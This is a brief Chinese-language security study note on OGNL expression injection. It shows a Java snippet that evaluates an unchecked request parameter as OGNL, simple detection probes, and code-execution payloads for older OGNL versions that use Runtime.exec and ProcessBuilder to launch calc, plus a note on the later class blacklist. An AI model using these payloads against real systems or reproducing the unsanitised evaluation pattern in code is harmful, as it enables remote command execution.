参考资料:

  1. 一文读懂OGNL漏洞 https://xz.aliyun.com/t/10482
  2. OGNL表达式注入漏洞总结

    成因

    Ognl表达式参数可控,且代码未做严格检查.
    如:
    1. OgnlContext ctx = new OgnlContext();
    2. String expression = request.getParameter("input");
    3. Object expr = Ognl.parseExpression(expression);
    4. Object value = Ognl.getValue(expr, ctx, root);
    5. System.out.println("Value: " + value);

    检测

image.png

  1. #user
  2. #user.name

利用

  1. Ognl<3.1.25、Ognl<3.2.12

    1. @java.lang.Runtime@getRuntime().exec("calc")
    2. (new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()
    3. Ognl.getValue("@java.lang.Runtime@getRuntime().exec(\"calc\")", context, context.getRoot());
  2. Ognl>=3.1.25、Ognl>=3.2.12 添加了黑名单, 禁止 ClassResolver、MethodAccessor、MemberAccess、OgnlContext、Runtime、ClassLoader、ProcessBuilder等类方法执行

// TODO: 调试分析payload, 理解OGNL解析过程.